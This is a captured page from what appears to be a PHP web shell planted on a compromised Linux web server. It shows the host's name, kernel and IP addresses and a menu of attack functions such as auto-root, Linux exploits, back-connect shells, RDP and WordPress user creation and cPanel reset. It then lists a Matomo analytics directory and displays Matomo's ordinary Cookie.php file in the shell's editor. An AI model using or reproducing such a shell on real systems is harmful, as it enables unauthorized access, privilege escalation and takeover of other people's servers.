Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.145.14.239
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Cookie.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use DateTime; use Piwik\Container\StaticContainer; /** * Simple class to handle the cookies: * - read a cookie values * - edit an existing cookie and save it * - create a new cookie, set values, expiration date, etc. and save it * */ class Cookie { /** * Don't create a cookie bigger than 1k */ const MAX_COOKIE_SIZE = 1024; /** * The name of the cookie * @var string */ protected $name = null; /** * The expire time for the cookie (expressed in UNIX Timestamp) * @var int */ protected $expire = null; /** * Restrict cookie path * @var string */ protected $path = ''; /** * @var string */ protected $keyStore = false; /** * Restrict cookie to a domain (or subdomains) * @var string */ protected $domain = ''; /** * If true, cookie should only be transmitted over secure HTTPS * @var bool */ protected $secure = false; /** * If true, cookie will only be made available via the HTTP protocol. * Note: not well supported by browsers. * @var bool */ protected $httponly = false; /** * The content of the cookie * @var array */ protected $value = array(); /** * The character used to separate the tuple name=value in the cookie */ const VALUE_SEPARATOR = ':'; /** * Instantiate a new Cookie object and tries to load the cookie content if the cookie * exists already. * * @param string $cookieName cookie Name * @param int|string $expire The timestamp after which the cookie will expire, eg time() + 86400; * use 0 (int zero) to expire cookie at end of browser session * @param string $path The path on the server in which the cookie will be available on. * @param bool|string $keyStore Will be used to store several bits of data (eg. one array per website) */ public function __construct($cookieName, $expire = null, $path = null, $keyStore = false) { $this->name = $cookieName; $this->path = $path; $this->expire = $expire; $this->keyStore = $keyStore; if ($this->isCookieFound()) { $this->loadContentFromCookie(); } } /** * Returns true if the visitor already has the cookie. * * @return bool */ public function isCookieFound() { return self::isCookieInRequest($this->name); } /** * Returns the default expiry time, 2 years * * @return int Timestamp in 2 years */ protected function getDefaultExpire() { return time() + 86400 * 365 * 2; } /** * setcookie() replacement -- we don't use the built-in function because * it is buggy for some PHP versions. * * @link http://php.net/setcookie * * @param string $Name Name of cookie * @param string $Value Value of cookie * @param int|string $Expires Time the cookie expires * @param string $Path * @param string $Domain * @param bool $Secure * @param bool $HTTPOnly * @param string $sameSite */ protected function setCookie($Name, $Value, $Expires, $Path = '', $Domain = '', $Secure = false, $HTTPOnly = false, $sameSite = false) { if (!empty($Domain)) { // Fix the domain to accept domains with and without 'www.'. if (!strncasecmp($Domain, 'www.', 4)) { $Domain = substr($Domain, 4); } $Domain = '.' . $Domain; // Remove port information. $Port = strpos($Domain, ':'); if ($Port !== false) { $Domain = substr($Domain, 0, $Port); } } // Format expire time only for non session cookies if (0 !== $Expires) { $Expires = $this->formatExpireTime($Expires); } $header = 'Set-Cookie: ' . rawurlencode($Name) . '=' . rawurlencode($Value) . (empty($Expires) ? '' : '; expires=' . $Expires) . (empty($Path) ? '' : '; path=' . $Path) . (empty($Domain) ? '' : '; domain=' . rawurlencode($Domain)) . (!$Secure ? '' : '; secure') . (!$HTTPOnly ? '' : '; HttpOnly') . (!$sameSite ? '' : '; SameSite=' . rawurlencode($sameSite)); Common::sendHeader($header, false); } /** * We set the privacy policy header */ protected function setP3PHeader() { Common::sendHeader("P3P: CP='OTI DSP COR NID STP UNI OTPa OUR'"); } /** * Delete the cookie */ public function delete() { $this->setP3PHeader(); $this->setCookie($this->name, 'deleted', time() - 31536001, $this->path, $this->domain); $this->setCookie($this->name, 'deleted', time() - 31536001, $this->path, $this->domain, TRUE, FALSE, 'None'); $this->clear(); } /** * Saves the cookie (set the Cookie header). * You have to call this method before sending any text to the browser or you would get the * "Header already sent" error. * @param string $sameSite Value for SameSite cookie property */ public function save($sameSite = null) { if ($sameSite) { $sameSite = self::getSameSiteValueForBrowser($sameSite); } $cookieString = $this->generateContentString(); if (strlen($cookieString) > self::MAX_COOKIE_SIZE) { // If the cookie was going to be too large, instead, delete existing cookie and start afresh $this->delete(); return; } $this->setP3PHeader(); $this->setCookie($this->name, $cookieString, $this->expire, $this->path, $this->domain, $this->secure, $this->httponly, $sameSite); } /** * Extract signed content from string: content VALUE_SEPARATOR '_=' signature * Only needed for BC. * * @param string $content * @return string|bool Content or false if unsigned */ private function extractSignedContent($content) { $signature = substr($content, -40); if (substr($content, -43, 3) === self::VALUE_SEPARATOR . '_=' && ($signature === sha1(substr($content, 0, -40) . SettingsPiwik::getSalt())) ) { // strip trailing: VALUE_SEPARATOR '_=' signature" return substr($content, 0, -43); } return false; } /** * Load the cookie content into a php array. * Parses the cookie string to extract the different variables. * Unserialize the array when necessary. * Decode the non numeric values that were base64 encoded. */ protected function loadContentFromCookie() { // we keep trying to read signed content for BC ... if it detects a correctly signed cookie then we read // this value $cookieStr = $this->extractSignedContent($_COOKIE[$this->name]); $isSigned = !empty($cookieStr); if ($cookieStr === false && !empty($_COOKIE[$this->name]) && strpos($_COOKIE[$this->name], '=') !== false) { // cookie was set since Matomo 4 $cookieStr = $_COOKIE[$this->name]; } if ($cookieStr === false) { return; } $values = explode(self::VALUE_SEPARATOR, $cookieStr); foreach ($values as $nameValue) { $equalPos = strpos($nameValue, '='); $varName = substr($nameValue, 0, $equalPos); $varValue = substr($nameValue, $equalPos + 1); if (!is_numeric($varValue)) { $tmpValue = base64_decode($varValue); if ($isSigned) { // only unserialise content if it was signed meaning the cookie was generated pre Matomo 4 $varValue = safe_unserialize($tmpValue); } else { $varValue = $tmpValue; } // discard entire cookie // note: this assumes we never serialize a boolean // can only happen when it was signed pre Matomo 4 if ($varValue === false && $tmpValue !== 'b:0;') { $this->value = array(); unset($_COOKIE[$this->name]); break; } } $this->value[$varName] = $varValue; } } /** * Returns the string to save in the cookie from the $this->value array of values. * It goes through the array and generates the cookie content string. * * @return string Cookie content */ public function generateContentString() { $cookieStrArr = []; foreach ($this->value as $name => $value) { if (!is_numeric($value) && !is_string($value)) { throw new \Exception('Only strings and numbers can be used in cookies. Value is of type ' . gettype($value)); } elseif (!is_numeric($value)) { $value = base64_encode($value); } $cookieStrArr[] = "$name=$value"; } return implode(self::VALUE_SEPARATOR, $cookieStrArr); } /** * Set cookie domain * * @param string $domain */ public function setDomain($domain) { $this->domain = $domain; } /** * Set secure flag * * @param bool $secure */ public function setSecure($secure) { $this->secure = $secure; } /** * Set HTTP only * * @param bool $httponly */ public function setHttpOnly($httponly) { $this->httponly = $httponly; } /** * Registers a new name => value association in the cookie. * * Registering new values is optimal if the value is a numeric value. * Only numbers and strings can be saved in the cookie. * A cookie has to stay small and its size shouldn't increase over time! * * @param string $name Name of the value to save; the name will be used to retrieve this value * @param string|number $value Value to save. If null, entry will be deleted from cookie. */ public function set($name, $value) { $name = self::escapeValue($name); // Delete value if $value === null if (is_null($value)) { if ($this->keyStore === false) { unset($this->value[$name]); return; } unset($this->value[$this->keyStore][$name]); return; } if ($this->keyStore === false) { $this->value[$name] = $value; return; } $this->value[$this->keyStore][$name] = $value; } /** * Returns the value defined by $name from the cookie. * * @param string|integer Index name of the value to return * @return mixed The value if found, false if the value is not found */ public function get($name) { $name = self::escapeValue($name); if (false === $this->keyStore) { if (isset($this->value[$name])) { return self::escapeValue($this->value[$name]); } return false; } if (isset($this->value[$this->keyStore][$name])) { return self::escapeValue($this->value[$this->keyStore][$name]); } return false; } /** * Removes all values from the cookie. */ public function clear() { $this->value = []; } /** * Returns an easy to read cookie dump * * @return string The cookie dump */ public function __toString() { $str = 'COOKIE ' . $this->name . ', rows count: ' . count($this->value) . ', cookie size = ' . strlen($this->generateContentString()) . " bytes, "; $str .= 'path: ' . $this->path. ', expire: ' . $this->expire . "\n"; $str .= var_export($this->value, $return = true); return $str; } /** * Escape values from the cookie before sending them back to the client * (when using the get() method). * * @param string $value Value to be escaped * @return mixed The value once cleaned. */ protected static function escapeValue($value) { return Common::sanitizeInputValues($value); } /** * Returns true if a cookie named '$name' is in the current HTTP request, * false if otherwise. * * @param string $name the name of the cookie * @return boolean */ public static function isCookieInRequest($name) { return isset($_COOKIE[$name]); } /** * Find the most suitable value for a cookie SameSite attribute, given environmental restrictions which * may make the most "correct" value impractical: * - On Chrome, the "None" value means that the cookie will not be present on third-party sites (e.g. the site * that is being tracked) when the site is loaded over HTTP. This means that important cookies which should always * be present (e.g. the opt-out cookie) won't be there at all. Using "Lax" means that at least they will be there * for some requests which are deemed CSRF-safe, although other requests may have broken functionality. * - On Safari, the "None" value is interpreted as "Strict". In order to set a cookie which will be available * in all third-party contexts, we have to omit the SameSite attribute altogether. * @param string $default The desired SameSite value that we should use if it won't cause any problems. * @return string SameSite attribute value that should be set on the cookie. Empty string indicates that no value * should be set. */ private static function getSameSiteValueForBrowser($default) { $sameSite = ucfirst(strtolower($default)); if ($sameSite === 'None') { if ((!ProxyHttp::isHttps())) { $sameSite = 'Lax'; // None can be only used when secure flag will be set } else { $userAgent = Http::getUserAgent(); $ddFactory = StaticContainer::get(\Piwik\DeviceDetector\DeviceDetectorFactory::class); $deviceDetector = $ddFactory->makeInstance($userAgent, Http::getClientHintsFromServerVariables()); $deviceDetector->parse(); $browserFamily = \DeviceDetector\Parser\Client\Browser::getBrowserFamily($deviceDetector->getClient('short_name')); if ($browserFamily === 'Safari') { $sameSite = ''; } } } return $sameSite; } /** * extend Cookie by timestamp or sting like + 30 years, + 10 months, default 2 years * @param $time * @return string */ public function formatExpireTime($time = null) { $expireTime = new DateTime(); if (is_null($time) || (is_int($time) && $time < 0)) { $expireTime->modify("+2 years"); } else if (is_int($time)) { $expireTime->setTimestamp($time); } else if (!$expireTime->modify($time)) { $expireTime->modify("+2 years"); } return $expireTime->format(DateTime::COOKIE); } }
Close